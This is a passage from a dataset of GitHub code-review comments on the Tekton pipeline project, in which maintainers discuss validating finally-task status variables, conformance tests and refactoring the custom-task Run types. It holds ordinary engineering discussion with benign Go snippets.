"2021-01-06T19:14:58Z", "line": null, "path": "docs/variables.md", "pr_number": 3390, "repo": "pipeline"} +{"author": "GregDritschler", "body": "I'm a little confused; maybe I'm misreading the code. I think we want to validate the following:\r\n\r\n1. Normal (non-final) tasks cannot use the $(tasks.*pipelinetask*.status) syntax.\r\n2. Final tasks can use this syntax but must refer to a defined pipeline task.\r\n\r\nReading the code, it seems to be validating the parameter references in normal tasks refer to other existing pipeline tasks? If so, my understanding is that is not supported.", "comment_id": 552942705, "created_at": "2021-01-06T20:20:28Z", "line": 315, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "GregDritschler", "body": "I think there may be an exposure here. The function is validating references starting with the given prefix, in your case `$(tasks.` It is not considering the suffix (`status`) when extracting these references. There are other supported references that start with `$(tasks.` (e.g. result references) so I'm concerned it could extract those too and try to validate them which is not your intention, right?", "comment_id": 552948424, "created_at": "2021-01-06T20:34:25Z", "line": 64, "path": "pkg/substitution/substitution.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "GregDritschler", "body": "please update comment to use current substitution syntax", "comment_id": 552960010, "created_at": "2021-01-06T21:03:31Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "GregDritschler", "body": "I'm a bit puzzled by this one. If I'm looking at the right one, pts[10] does have a when condition that would fail. So how do this pipeline task have a TaskRun? I don't know what your intentions are with this test.", "comment_id": 552978141, "created_at": "2021-01-06T21:50:01Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate_test.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "GregDritschler", "body": "I'm curious about the WaitForTaskRunState call here and in some of the other case blocks. The test waits for the PipelineRun to fail (WaitForPipelineRunState) prior to this. Can any TaskRuns still be running? I know there have been problems in the past putting the PipelineRun into a done state before the TaskRuns were done but I thought that was resolved. If so, maybe the test should be just checking the state, not waiting for it.", "comment_id": 552994197, "created_at": "2021-01-06T22:22:39Z", "line": 146, "path": "test/pipelinefinally_test.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "pritidesai", "body": "I don't know, my impression is the variables defined in this section are related to a task and that's why added it here.", "comment_id": 553100807, "created_at": "2021-01-07T04:20:25Z", "line": null, "path": "docs/variables.md", "pr_number": 3390, "repo": "pipeline"} +{"author": "pritidesai", "body": "Great catch @GregDritschler your are absolutely correct.\r\n\r\nThis validation checks a pipelineTask specified in `$(tasks.pipelinetask.status)` exists in the pipeline. This function is old and needs to be updated. Will fix it.", "comment_id": 553102320, "created_at": "2021-01-07T04:26:56Z", "line": 315, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "afrittoli", "body": "The two sections describe variables available when authoring pipelines and tasks respectively. \r\nAll the examples (including in the TEP) show that the variable is used within a Pipeline, which is correct because a task cannot know about `pipelineTask` names, unless perhaps it's an embedded one. \r\nSo this variable should be moved to the pipeline section.\r\n\r\n", "comment_id": 553201501, "created_at": "2021-01-07T09:18:10Z", "line": null, "path": "docs/variables.md", "pr_number": 3390, "repo": "pipeline"} +{"author": "afrittoli", "body": "I forgot if we support `when` expressions on finally pipeline tasks yet? \r\nThat would be a nice example to use here, but probably it's not supported yet?", "comment_id": 553204415, "created_at": "2021-01-07T09:23:04Z", "line": 828, "path": "docs/pipelines.md", "pr_number": 3390, "repo": "pipeline"} +{"author": "pritidesai", "body": "This test is meant to validate a task with when expression evaluating to failure is skipped. I have fixed this test case. Thanks! ", "comment_id": 553652801, "created_at": "2021-01-07T23:29:28Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate_test.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "pritidesai", "body": "Fixed \ud83d\ude4f ", "comment_id": 553653715, "created_at": "2021-01-07T23:32:30Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "pritidesai", "body": "thanks @afrittoli I have moved this to pipeline section \ud83d\ude4f ", "comment_id": 553653833, "created_at": "2021-01-07T23:32:57Z", "line": null, "path": "docs/variables.md", "pr_number": 3390, "repo": "pipeline"} +{"author": "pritidesai", "body": "yup that would be great, we dont have when expression support in finally yet. We have a feature request open here https://github.com/tektoncd/pipeline/issues/3438 \ud83d\ude04 ", "comment_id": 553654443, "created_at": "2021-01-07T23:34:39Z", "line": 828, "path": "docs/pipelines.md", "pr_number": 3390, "repo": "pipeline"} +{"author": "pritidesai", "body": "Fixed \ud83d\ude4f ", "comment_id": 553654752, "created_at": "2021-01-07T23:35:34Z", "line": 315, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "pritidesai", "body": "right, `status` is specified while calling this function in `suffix`. After this extraction, suffix is trimmed before comparing against `vars`.\r\n\r\n`ValidateVariablePS` is extracting prefix `tasks` and trimming suffix `status` and validates the left over value is one of the pipelineTasks (specified in `vars`).\r\n\r\nyou are right, this function would extract other variations (result reference) as well like you mentioned but result references are validated with `validateParamResults`.\r\n\r\nAny suggestion on how to better handle this? If not, I would leave it as is since result references does go through validation separately. ", "comment_id": 553670530, "created_at": "2021-01-08T00:27:34Z", "line": 64, "path": "pkg/substitution/substitution.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "GregDritschler", "body": "I suggest tightening this check up a bit by including the periods.\r\n\r\n`if strings.HasPrefix(p, \"tasks.\") && strings.HasSuffix(p, \".status\") {`", "comment_id": 553982655, "created_at": "2021-01-08T14:42:43Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "GregDritschler", "body": "> Any suggestion on how to better handle this? If not, I would leave it as is since result references does go through validation separately.\r\n\r\nI'm concerned that when finally tasks are allowed to use result references in the future, this code will break because it will reject those references.\r\n\r\nThe \"quick and dirty\" way to fix is would be to check if the reference at least has the suffix before trimming it. If it doesn't have that suffix then it isn't the type of reference your are trying to check. A more involved fix would be to have code specific to this type of reference that uses a regex for exact matching. For example, resultref.go has code specific to parsing result references. I understand though that you are trying to leverage what's already there.", "comment_id": 553997722, "created_at": "2021-01-08T15:07:23Z", "line": 64, "path": "pkg/substitution/substitution.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "pritidesai", "body": "Thanks @GregDritschler, I have added an explicit check on the prefix and suffix before trimming it. \r\n\r\nI was actually looking at how task results are validated and to my surprise, the pipeline task names are not validated while validating the task results syntax i.e. `validateParamResults` validates the syntax `$(tasks.mytask.results.total)` but does not validate if `mytask` is actually defined in that pipeline. Its not worrisome as such since Its captured in building `dag` function which fails with: \r\n\r\n```\r\nvalidation failed: invalid value: couldn't add link between your-task and my-task: task your-task depends on my-task but my-task wasn't present in Pipeline: spec.tasks\r\n```", "comment_id": 554155459, "created_at": "2021-01-08T19:47:02Z", "line": 64, "path": "pkg/substitution/substitution.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "pritidesai", "body": "Done \ud83d\udc4d ", "comment_id": 554155586, "created_at": "2021-01-08T19:47:19Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "pritidesai", "body": "Right, its waiting for the pipelineRun to fail using this function `WaitForPipelineRunState` right after creating a run. It's more of a polling for that state i.e. wait until pipeline is done. The state right away might not be set as expected. How can we make sure that the run finishes without waiting for it?", "comment_id": 554167233, "created_at": "2021-01-08T20:12:56Z", "line": 146, "path": "test/pipelinefinally_test.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "GregDritschler", "body": "I was saying that it's odd that after waiting for the pipelinerun to finish, the test also then waits for taskruns to finish. The pipelinerun shouldn't be finished if there are taskruns still running. I know there are some corner cases where this isn't true -- cancel comes to mind -- but I'm uncertain whether there is something going on here that makes it happen.", "comment_id": 555089116, "created_at": "2021-01-11T14:35:50Z", "line": 146, "path": "test/pipelinefinally_test.go", "pr_number": 3390, "repo": "pipeline"} +{"author": null, "body": "nit: I don't think this step actually prints anything does it? Would it be worth printing the status or changing this name?", "comment_id": 555253813, "created_at": "2021-01-11T18:28:53Z", "line": null, "path": "examples/v1beta1/pipelineruns/pipelinerun-task-execution-status.yaml", "pr_number": 3390, "repo": "pipeline"} +{"author": null, "body": "nit: `Applu` -> `Apply`", "comment_id": 555279785, "created_at": "2021-01-11T19:16:01Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply_test.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "pritidesai", "body": "thanks @sbwsg, fixed the step name and added comment", "comment_id": 555384611, "created_at": "2021-01-11T22:36:54Z", "line": null, "path": "examples/v1beta1/pipelineruns/pipelinerun-task-execution-status.yaml", "pr_number": 3390, "repo": "pipeline"} +{"author": "pritidesai", "body": "Fixed \ud83e\udd26\u200d\u2640\ufe0f", "comment_id": 555385173, "created_at": "2021-01-11T22:38:12Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply_test.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "pritidesai", "body": "Aah, I see what you mean. I am not sure either, pipelinerun completion mean all taskruns completed within the test `context`, ideally it should.\r\n\r\nBut, I see it as more than just waiting for the taskrun to finish, `WaitForTaskRunState` also verifies the state and returns error if state does not match. Do you suggest any alternative? I can follow up in a separate PR, may be write a separate routine to just validate the state?\r\n\r\n", "comment_id": 555390750, "created_at": "2021-01-11T22:51:29Z", "line": 146, "path": "test/pipelinefinally_test.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "afrittoli", "body": "I initially thought we might be able to skip the extra loop, but we would have to loop anyways again in case of ArrayVal, so it's fine.", "comment_id": 555666926, "created_at": "2021-01-12T10:28:31Z", "line": 324, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "afrittoli", "body": "Cancelled is a special case of failed. `IsCancelled` returns true only if the condition is false (==failure) and the reason is a special one. There may be a case of tasks for which cancelled has been requested but they have not been cancelled yet, but those are not covered by the `IsCancelled` check, as it should be - for them we would return `None`.", "comment_id": 555683942, "created_at": "2021-01-12T10:56:06Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "afrittoli", "body": "Timeout should be a special case of failed. A Task that has timed out is failed. \r\n\r\nThis check does not verify that the condition is set to false, only that the task is timed out, so it includes task yet not completed in the sense that the controller has not enforced the timeout yet. \r\n\r\nI think we should only read the condition, and return false is false, true if true or none otherwise.", "comment_id": 555687429, "created_at": "2021-01-12T11:01:52Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "afrittoli", "body": "The code has explicit checks for cancel and timeout cases but no tests here.\r\nI would remove the extra checks for cancel and timeout, and keep these tests as they are.", "comment_id": 555688702, "created_at": "2021-01-12T11:04:14Z", "line": 1411, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate_test.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: it would be nice to have a comment that describes what the function does (here and for several other functions in this module).", "comment_id": 555690805, "created_at": "2021-01-12T11:07:44Z", "line": 63, "path": "pkg/substitution/substitution.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: we don't need to invoke `stripVarSubExpression` twice here.", "comment_id": 555704132, "created_at": "2021-01-12T11:32:29Z", "line": 321, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "afrittoli", "body": "`paramValue` here will be the whole param value, which might be a string that includes a variable.\r\n\r\nI tried this unit test and it fails, no error is triggered because the param is not identified as requiring inspection:\r\n```\r\n{\r\n\t\ttasks: []PipelineTask{{\r\n\t\t\tName: \"foo\",\r\n\t\t\tTaskRef: &TaskRef{Name: \"foo-task\"},\r\n\t\t}},\r\n\t\tname: \"invalid string variable in finally accessing missing pipelineTask status\",\r\n\t\tfinalTasks: []PipelineTask{{\r\n\t\t\tName: \"bar\",\r\n\t\t\tTaskRef: &TaskRef{Name: \"bar-task\"},\r\n\t\t\tParams: []Param{{\r\n\t\t\t\tName: \"notask-status\", Value: ArrayOrString{Type: ParamTypeString, StringVal: \"Something about $(tasks.notask.status) is wrong\"},\r\n\t\t\t}},\r\n\t\t}},\r\n\t\texpectedError: *apis.ErrGeneric(`non-existent variable in \"$(tasks.notask.status)\"`, \"value\"),\r\n\t}\r\n```", "comment_id": 555789021, "created_at": "2021-01-12T13:59:48Z", "line": 321, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "afrittoli", "body": "Thanks @pritidesai - I do not see the check in this function - perhaps you refer to https://github.com/tektoncd/pipeline/pull/3390/files#diff-78ff878240189b20e0ef82f2912c93c0b3c7b445865e04fa9b98aab851be6130R321 (L321)? However that check will only work for parameters in the \"$(var)\" format, but not if extra text or more variables are included.", "comment_id": 555829994, "created_at": "2021-01-12T14:51:57Z", "line": 64, "path": "pkg/substitution/substitution.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: missing space `// Apply...`", "comment_id": 556058583, "created_at": "2021-01-12T20:18:16Z", "line": 90, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "afrittoli", "body": "Nice, thank you!", "comment_id": 556059146, "created_at": "2021-01-12T20:19:05Z", "line": 137, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "afrittoli", "body": "I think I reasonable fix here could be to have a variation of `extractVariablesFromString` that returns the stripped `suffix` so that it could be verified.\r\nWe should follow up on this PR to had such fix to make sure the code does not break when we add support for results like @GregDritschler mentioned.", "comment_id": 556063614, "created_at": "2021-01-12T20:24:41Z", "line": 64, "path": "pkg/substitution/substitution.go", "pr_number": 3390, "repo": "pipeline"} +{"author": "imjasonh", "body": "The Task resource isn't currently covered by the API spec, only TaskRuns with taskSpec specified. ", "comment_id": 506325359, "created_at": "2020-10-16T11:38:35Z", "line": null, "path": "test/conformance_test.go", "pr_number": 3400, "repo": "pipeline"} +{"author": "imjasonh", "body": "It's a bit weird to have both a `taskRun` and `tr` variable in the same scope, and might lead to confusing failures. Can we standardize on one or the other?", "comment_id": 506326426, "created_at": "2020-10-16T11:39:50Z", "line": null, "path": "test/conformance_test.go", "pr_number": 3400, "repo": "pipeline"} +{"author": "imjasonh", "body": "It's a bit confusing to have variables `tr` and `trDef` in the same scope. Can we rename `trDef` to `tr` instead, and change this line to `tr, err = c.TaskRunClient...` ?", "comment_id": 507884681, "created_at": "2020-10-19T16:21:38Z", "line": 63, "path": "test/conformance_test.go", "pr_number": 3400, "repo": "pipeline"} +{"author": "imjasonh", "body": "In this case we already know the status is going to be `ConditionTrue`, since we waited for that state above.", "comment_id": 507886048, "created_at": "2020-10-19T16:23:33Z", "line": null, "path": "test/conformance_test.go", "pr_number": 3400, "repo": "pipeline"} +{"author": "imjasonh", "body": "I think we should get the condition of `type=Succeeded`, since the object may in the future have other-typed conditions, which this test should just ignore.\r\n\r\nYou can use [`tr.Status.GetCondition`](https://godoc.org/github.com/tektoncd/pipeline/pkg/apis/pipeline/v1beta1#TaskRunStatus.GetCondition) with [`apis.ConditionSucceeded`](https://godoc.org/knative.dev/pkg/apis#ConditionType) to get this condition, erroring if the result is `nil`, and then continue to check other aspects of the condition we require under the spec.", "comment_id": 507887412, "created_at": "2020-10-19T16:25:29Z", "line": null, "path": "test/conformance_test.go", "pr_number": 3400, "repo": "pipeline"} +{"author": "vdemeester", "body": "I don't think this is required **and** I think we should move **all** types related to `Run` types, not just the one that did pause problem for import cycle.", "comment_id": 513316706, "created_at": "2020-10-28T10:00:44Z", "line": 30, "path": "pkg/apis/run/v1alpha1/runstatus_types.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "vdemeester", "body": "This means `Run`, `RunSpec`, `RunList`, \u2026 types", "comment_id": 513316917, "created_at": "2020-10-28T10:01:07Z", "line": 30, "path": "pkg/apis/run/v1alpha1/runstatus_types.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "GregDritschler", "body": "> We should move all Run related types to pkg/apis/run/v1alpha1 instead of just the one that were a problem for import cycle. This would allow us to still not import anything from \"github.com/tektoncd/pipeline/pkg/apis/pipeline/v1alpha1\" but \"github.com/tektoncd/pipeline/pkg/apis/run/v1alpha1\" instead \u2014 similar to what we do with pkg/apis/resource/v1alpha1\r\n\r\nOkay, so I should not even leave behind any aliases in \"github.com/tektoncd/pipeline/pkg/apis/pipeline/v1alpha1\"? In other words it's a completely incompatible change of the package. It doesn't matter to me, I'll do whatever everyone wants here.", "comment_id": 513413150, "created_at": "2020-10-28T12:46:52Z", "line": 30, "path": "pkg/apis/run/v1alpha1/runstatus_types.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "imjasonh", "body": "Our policy is that we don't care about breaking changes that only affect Go clients. This is especially true for anything related to Runs, which are alpha and haven't had much real-world usage outside of, honestly, you or me. \ud83d\ude06 ", "comment_id": 513428467, "created_at": "2020-10-28T13:10:29Z", "line": 30, "path": "pkg/apis/run/v1alpha1/runstatus_types.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "vdemeester", "body": "@GregDritschler yeah I think it's fine. The alias can stay there if we feel there is a need for them there\u2026 but I am fine if they are not there any more, as @ImJasonH said, we don't care too much about breaking changes that only affect Go clients, **especially** for `v1alpha` :upside_down_face: ", "comment_id": 513467223, "created_at": "2020-10-28T14:01:37Z", "line": 30, "path": "pkg/apis/run/v1alpha1/runstatus_types.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "imjasonh", "body": "Should this be MarkFalseWithReason to match MarkTrueWithReason above? \ud83e\udd14 ", "comment_id": 513678204, "created_at": "2020-10-28T18:39:34Z", "line": 116, "path": "pkg/apis/run/v1alpha1/runstatus_types.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "GregDritschler", "body": "Yeah I had noticed that but this is how the functions are defined in the knative package.\r\n\r\n```\r\n\t// MarkTrue sets the status of t to true, and then marks the happy condition to\r\n\t// true if all dependents are true.\r\n\tMarkTrue(t ConditionType)\r\n\r\n\t// MarkTrueWithReason sets the status of t to true with the reason, and then marks the happy\r\n\t// condition to true if all dependents are true.\r\n\tMarkTrueWithReason(t ConditionType, reason, messageFormat string, messageA ...interface{})\r\n\r\n\t// MarkUnknown sets the status of t to Unknown and also sets the happy condition\r\n\t// to Unknown if no other dependent condition is in an error state.\r\n\tMarkUnknown(t ConditionType, reason, messageFormat string, messageA ...interface{})\r\n\r\n\t// MarkFalse sets the status of t and the happy condition to False.\r\n\tMarkFalse(t ConditionType, reason, messageFormat string, messageA ...interface{})\r\n```", "comment_id": 515084951, "created_at": "2020-10-30T13:10:59Z", "line": 116, "path": "pkg/apis/run/v1alpha1/runstatus_types.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "GregDritschler", "body": "Moving the RunSpec is harder because it uses v1beta1.Params and v1alpha1.TaskRef. This means a lot of refactoring which must be done carefully to avoid breaking these widely used types. I discussed offline with Vincent and he agreed this could be considered for a follow on to this PR.", "comment_id": 515088151, "created_at": "2020-10-30T13:16:27Z", "line": 30, "path": "pkg/apis/run/v1alpha1/runstatus_types.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "vdemeester", "body": "I agree with the start of the comment (it's a smell), not with the rest though (the *solution*). \"versioned clientset\" assumes the `get` methods only use k8s clients, which is not the case (with Tekton OCI bundles, we do fetch through a very different method :upside_down_face:) ", "comment_id": 522793173, "created_at": "2020-11-13T08:30:24Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "GregDritschler", "body": "This is Jason's comment. @ImJasonH should I change or remove the comment?", "comment_id": 522932178, "created_at": "2020-11-13T12:54:46Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "imjasonh", "body": "I'm fine to remove it. I agree with Vincent that with the addition of OCI bundles the prescribed remedy for the smell might not be correct.", "comment_id": 522979356, "created_at": "2020-11-13T14:20:58Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "pritidesai", "body": "Can we switch the condition from `!t.IsCustomTask()` to `t.IsCustomTask()` wherever possible, for example:\r\n\r\n```\t\r\n\tif t.IsCustomTask() {\r\n\t\treturn t.Run != nil && t.Run.IsSuccessful()\r\n\t}\r\n\tif t.TaskRun == nil {\r\n\t\treturn false\r\n\t}\r\n\treturn t.TaskRun.IsSuccessful()\r\n``` \r\n ", "comment_id": 527082061, "created_at": "2020-11-19T17:49:26Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "pritidesai", "body": "Should we call it `enable-custom-run` since it can include `task` and `pipeline` in future?", "comment_id": 527286115, "created_at": "2020-11-20T00:08:18Z", "line": 89, "path": "config/config-feature-flags.yaml", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "I'm trying to review this change, but I don't see this package in the PR?\r\nI wonder if it was missed in the commit...", "comment_id": 528772664, "created_at": "2020-11-23T15:10:20Z", "line": 24, "path": "pkg/apis/pipeline/v1alpha1/run_types.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "it's there and I don't know how I missed it? please ignore me \ud83e\udd26 ", "comment_id": 528782488, "created_at": "2020-11-23T15:23:33Z", "line": 24, "path": "pkg/apis/pipeline/v1alpha1/run_types.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "pritidesai", "body": "This function is used to validate `tasks` and tasks under `finally` section. Is custom task supported as part of `finally`?", "comment_id": 529107928, "created_at": "2020-11-24T01:27:47Z", "line": 102, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "pritidesai", "body": "Similar to the comment above, can we please switch the condition check from `!customTask` to `customTask`?", "comment_id": 529213028, "created_at": "2020-11-24T05:32:39Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "pritidesai", "body": "What is the purpose of this check here? Runs for custom tasks are created under runs not taskruns so they should not be part of this list here \ud83e\udd14 ", "comment_id": 529215802, "created_at": "2020-11-24T05:42:18Z", "line": 1028, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "pritidesai", "body": "these functions are not used anywhere, do we need them? \r\n\r\n* InitializeConditions\r\n* SetCondition\r\n* MarkRunSucceeded\r\n* MarkRunFailed\r\n* MarkRunRunning", "comment_id": 529261392, "created_at": "2020-11-24T07:42:46Z", "line": 83, "path": "pkg/apis/run/v1alpha1/runstatus_types.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "GregDritschler", "body": "Yes it is supported in finally.", "comment_id": 529533893, "created_at": "2020-11-24T13:12:19Z", "line": 102, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "GregDritschler", "body": "If a PipelineRun includes a Run that creates TaskRuns (such as the looping task), the PipelineRun's labels will be propagated to the TaskRuns created by the Run. We don't want the PipelineRun adopting those TaskRuns. It should only adopt the ones it directly created as part of the pipeline.", "comment_id": 529535386, "created_at": "2020-11-24T13:14:43Z", "line": 1028, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "GregDritschler", "body": "They are used by controllers implementing a custom task.", "comment_id": 529537231, "created_at": "2020-11-24T13:17:35Z", "line": 83, "path": "pkg/apis/run/v1alpha1/runstatus_types.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "pritidesai", "body": "thanks, can we add such controller (can be separate PR) or a reference to such controller (if it exists somewhere may be in experimental repo) in doc?", "comment_id": 529736683, "created_at": "2020-11-24T17:04:40Z", "line": 83, "path": "pkg/apis/run/v1alpha1/runstatus_types.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "GregDritschler", "body": "There is the task-loops controller in experimental already and I have created a simpler sample controller which I will be submitting separately.", "comment_id": 529804800, "created_at": "2020-11-24T18:51:53Z", "line": 83, "path": "pkg/apis/run/v1alpha1/runstatus_types.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "vdemeester", "body": "@GregDritschler @ImJasonH ok with `enable-custom-run` as feature-flag name ?", "comment_id": 530259212, "created_at": "2020-11-25T10:18:27Z", "line": 89, "path": "config/config-feature-flags.yaml", "pr_number": 3463, "repo": "pipeline"} +{"author": "vdemeester", "body": "Agreed.", "comment_id": 530261939, "created_at": "2020-11-25T10:22:33Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "GregDritschler", "body": "\"Custom run\" sounds funny to me. The feature is called \"custom tasks\" not \"custom run\". Also the flag does not affect whether Run can be used directly. It only controls whether pipelines can create runs.", "comment_id": 530379797, "created_at": "2020-11-25T13:38:36Z", "line": 89, "path": "config/config-feature-flags.yaml", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "I don't have a strong feeling about this. I think that even though the CRD is called `Run`, \"custom-task\" is more readable as config option name. And in future we might have the `PipelineTask` custom task :D", "comment_id": 530439568, "created_at": "2020-11-25T15:03:15Z", "line": 89, "path": "config/config-feature-flags.yaml", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "Any special reason for moving only the status part to its own package?\r\nI think it would make sense to have them all in the same package outside of pipeline?", "comment_id": 530448890, "created_at": "2020-11-25T15:16:06Z", "line": 82, "path": "pkg/apis/pipeline/v1alpha1/run_types.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "GregDritschler", "body": "This was discussed earlier with @vdemeester:\r\n\r\n> Moving the RunSpec is harder because it uses v1beta1.Params and v1alpha1.TaskRef. This means a lot of refactoring which must be done carefully to avoid breaking these widely used types. I discussed offline with Vincent and he agreed this could be considered for a follow on to this PR.\r\n\r\nPersonally I feel there is not much value in moving the rest of it. There's bigger fish to fry.", "comment_id": 530457195, "created_at": "2020-11-25T15:27:35Z", "line": 82, "path": "pkg/apis/pipeline/v1alpha1/run_types.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "Ah, I missed that discussion, I agree.\r\nI small request though, as reading the code without this context might have the same question. Could you file an issue about the follow-up refactor, and add a comment into the code to refer to it? (A follow up PR also works)", "comment_id": 530520900, "created_at": "2020-11-25T16:58:52Z", "line": 82, "path": "pkg/apis/pipeline/v1alpha1/run_types.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "Heh, so the API version is what identifies it as a custom task.", "comment_id": 530522859, "created_at": "2020-11-25T17:01:50Z", "line": 108, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "`RunRun` :D ", "comment_id": 530531234, "created_at": "2020-11-25T17:15:30Z", "line": 334, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "In a way having two separate lists for `TaskRuns` and `Runs` is a pity.\r\nToday TaskRuns are added to the status in the order they're executed, so just looking at the YAML it's possible to get an idea of the flow without checking the start times. When using `Runs` we will have two lists instead. That's something tools like `tkn` and dashboard can help with.", "comment_id": 530536675, "created_at": "2020-11-25T17:24:44Z", "line": 334, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "Perhaps we could have an issue to track this?", "comment_id": 530538164, "created_at": "2020-11-25T17:27:23Z", "line": 30, "path": "pkg/apis/run/v1alpha1/runstatus_types.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: In the comment below TaskRuns -> TaskRuns and Runs", "comment_id": 530540072, "created_at": "2020-11-25T17:30:40Z", "line": 82, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "Also the error message below refers to TaskRuns only, it could say \"TaskRuns or Runs\"", "comment_id": 530540769, "created_at": "2020-11-25T17:31:50Z", "line": 82, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "afrittoli", "body": "It's possibly ok that we run this code even if `Runs` are disabled.\r\nSince this code is executed before validation, it will always run, regardless of the flag, but normally it will do nothing.\r\n\r\nIn case where the feature flag was enabled, and later disabled, if any pipeline run with `Runs` was done but waiting to update its status, it will still be able to do so... but it will fail in any other case", "comment_id": 530551992, "created_at": "2020-11-25T17:51:38Z", "line": 195, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "imjasonh", "body": "TaskRuns is a map, so it should be JSON/YAML-encoded alphabetized by keys, not in insertion order. In any case, we shouldn't guarantee any ordering so we can change it in the future, and rely on clients to do smart things if they want to.\r\n\r\n+1 about combinding these maps though, it'd be nice but it's also a bit clunky given Go's type system. \ud83d\ude15 ", "comment_id": 532130295, "created_at": "2020-11-29T01:58:46Z", "line": 334, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 3463, "repo": "pipeline"} +{"author": "chmouel", "body": "`custom-tasks` sounds more explicit to me, `custom-runs` feels like a feature flag for some custom *execution* of how task are run and not necessary about Pipeline,Task/Runs", "comment_id": 532468700, 